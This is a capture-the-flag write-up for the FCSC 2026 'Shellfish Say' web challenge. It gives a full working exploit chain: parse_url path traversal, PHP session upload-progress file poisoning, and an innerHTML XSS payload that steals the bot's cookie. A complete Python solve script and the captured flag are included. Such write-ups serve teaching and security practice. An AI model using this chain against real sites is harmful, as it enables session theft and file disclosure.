Shellfish Say [EN]| FCSC 2026
Shellfish Say | FCSC 2026
Challenge
The new version of Shrimp Say is out! Discover Shellfish Say! To ask the bot to say something, connect with:
nc challenges.fcsc.fr 2256Note: The challenge VM has no internet access.
We get the full source of a Docker stack. There is a PHP/Apache web app where a cartoon shellfish “says” a quote loaded via AJAX, and a Puppeteer bot that sets a FLAG cookie on the shellfish-say domain then visits a URL we provide. Any console.log output from the browser gets forwarded back over the TCP connection.
The goal is to steal the bot’s FLAG cookie.
Source Code Analysis
index.php | The XSS Sink
const quote_file = params.get("quote") ?? "shellfish.txt";
let resp = await fetch(`/get_quote?quote=${quote_file}`);
quote = await resp.text();
document.body.getElementsByClassName("speech-bubble")[0].innerHTML = quote;
Ok so the quote URL parameter goes straight into a fetch URL, and the response body is set as innerHTML on the speech bubble. Classic XSS sink. If I can control what get_quote returns, I get JS execution in the page.
get_quote.php | Path Traversal via parse_url
$quote_file = "/tmp/quotes/";
if (isset($_GET["quote"])) {
if (strpos($_GET["quote"], ":")) {
$quote_file .= parse_url($_GET["quote"] . ".txt")["path"];
} else {
if (strpos($_GET["quote"], "..")) {
$quote_file .= "shellfish.txt";
} else {
$quote_file .= $_GET["quote"] . ".txt";
}
}
}
if (!file_exists($quote_file)) {
$quote_file = "/tmp/quotes/shellfish.txt";
}
readfile($quote_file);
This is interesting. When the quote parameter contains a :, PHP goes into the parse_url branch. It appends .txt and extracts the ["path"] component. By sticking a ? at the end of my value, .txt ends up in the query component and gets thrown away:
quote = x:/../sess_abc123?
parse_url("x:/../sess_abc123?.txt")["path"] gives "/../sess_abc123"
$quote_file = "/tmp/quotes//../sess_abc123" which resolves to "/tmp/sess_abc123"
That gives arbitrary file read, at least within open_basedir = /var/www/html/:/tmp/.
php.ini | Persistent Session Upload Progress
Two settings caught my eye:
session.upload_progress.cleanup = Off # session file is NOT deleted after upload
session.gc_probability = 0 # sessions are NEVER garbage-collected
With the defaults (session.upload_progress.enabled = On, session.save_handler = files, save path = /tmp), any POST request with a PHPSESSID cookie and a PHP_SESSION_UPLOAD_PROGRESS form field will permanently write a session file to /tmp/sess_<PHPSESSID>.
The key thing: the session file contains the upload progress key name verbatim, no escaping. So I control part of the file content.
Exploit Chain
Step 1 | Plant the XSS payload into a session file
I send a multipart POST with a PHPSESSID cookie, a PHP_SESSION_UPLOAD_PROGRESS field containing my XSS payload, and a dummy file upload to trigger the progress mechanism.
import requests
import secrets
sid = secrets.token_hex(8)
url = "https://shellfish-say.fcsc.fr"
payload = '<img src=x onerror=console.log(document.cookie)>'
r = requests.post(
f"{url}/get_quote",
data={"PHP_SESSION_UPLOAD_PROGRESS": payload},
files={"file": ("x.txt", b"X", "text/plain")},
cookies={"PHPSESSID": sid},
)
print(r.status_code)
200
This creates /tmp/sess_<sid> containing something like:
a:1:{s:64:"upload_progress_<img src=x onerror=console.log(document.cookie)>";a:5:{...}}
Step 2 | Trigger the bot with a crafted URL
The bot visits:
http://shellfish-say/?quote=x:/../sess_<session_id>%3F
%3F is the URL-encoded ?. The JS in index.php fetches /get_quote?quote=x:/../sess_<id>?, the PHP side enters the parse_url branch, .txt falls into the query component, and readfile ends up reading /tmp/sess_<id>.
Step 3 | XSS fires
The session file content gets set as innerHTML. The <img onerror=...> tag fires console.log(document.cookie), and the bot infrastructure sends it back over the TCP connection. Simple as that.
Solve Script
import requests
import secrets
import socket
sid = secrets.token_hex(8)
app = "https://shellfish-say.fcsc.fr"
payload = '<img src=x onerror=console.log(document.cookie)>'
r = requests.post(
f"{app}/get_quote",
data={"PHP_SESSION_UPLOAD_PROGRESS": payload},
files={"file": ("x.txt", b"X", "text/plain")},
cookies={"PHPSESSID": sid},
)
visit = f"http://shellfish-say/?quote=x:/../sess_{sid}%3F\n"
s = socket.create_connection(("challenges.fcsc.fr", 2256), timeout=15)
s.settimeout(15)
buf = []
try:
while True:
d = s.recv(4096)
if not d:
break
buf.append(d)
if b"http://" in d or b"https://" in d:
break
except socket.timeout:
pass
s.sendall(visit.encode())
try:
while True:
d = s.recv(4096)
if not d:
break
buf.append(d)
except socket.timeout:
pass
s.close()
print(b"".join(buf).decode(errors="replace"))
$ python3 solve.py
==========
Tips: There is a small race window (~10ms) when a new tab is opened where console.log won't return output :(
Note that your exploit must target http://shellfish-say/ to get the flag.
==========
Starting the browser...
[T1]> New tab created!
[T1]> navigating | about:blank
Setting the flag in a cookie...
Going to the user provided link...
[T1]> navigating | http://shellfish-say/?quote=x:/../sess_dd83a9eb661f1fdf%3F
[T1]> console.error | Failed to load resource: the server responded with a status of 404 (Not Found)
[T1]> console.log | FLAG=FCSC{173b276667bf8bd64ae842c4df76bc25913078dbe167b6d47ca59a858ea15e8c}
Leaving o/
[T1]> Tab closed!
Flag
FCSC{173b276667bf8bd64ae842c4df76bc25913078dbe167b6d47ca59a858ea15e8c}